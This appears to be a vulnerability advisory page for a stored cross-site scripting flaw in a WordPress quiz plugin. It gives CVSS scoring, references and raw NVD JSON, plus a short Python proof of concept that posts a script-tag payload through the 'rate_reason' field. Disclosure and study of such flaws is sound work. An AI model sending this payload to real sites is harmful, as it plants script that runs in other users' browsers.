CVE-2026-6817

Description

The Quiz Maker by AYS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'rate_reason' parameter in all versions up to, and including, 6.7.1.29 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

5.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Quiz Maker by AYS <= 6.7.1.29

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Hypothetical endpoint for the plugin)
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Malicious Payload to be injected
xss_payload = "<script>alert(document.cookie);</script>"

# POST data exploiting the 'rate_reason' parameter
payload_data = {
    "action": "ays_quiz_rate_submit", 
    "rate_reason": xss_payload,
    "quiz_id": 1
}

try:
    response = requests.post(target_url, data=payload_data)
    if response.status_code == 200:
        print("[+] Payload sent successfully. Check the admin dashboard for execution.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6817
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6817
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6817/
[4] VulDB https://vuldb.com/cve/CVE-2026-6817
[5] https://plugins.trac.wordpress.org/changeset/3513370/quiz-maker
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/fa995fa9-5fb1-434a-bf88-c60e986c45eb?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6817", "sourceIdentifier": "[email protected]", "published": "2026-05-02T12:16:17.023", "lastModified": "2026-05-05T19:15:34.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quiz Maker by AYS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'rate_reason' parameter in all versions up to, and including, 6.7.1.29 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3513370/quiz-maker", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fa995fa9-5fb1-434a-bf88-c60e986c45eb?source=cve", "source": "[email protected]"}]}}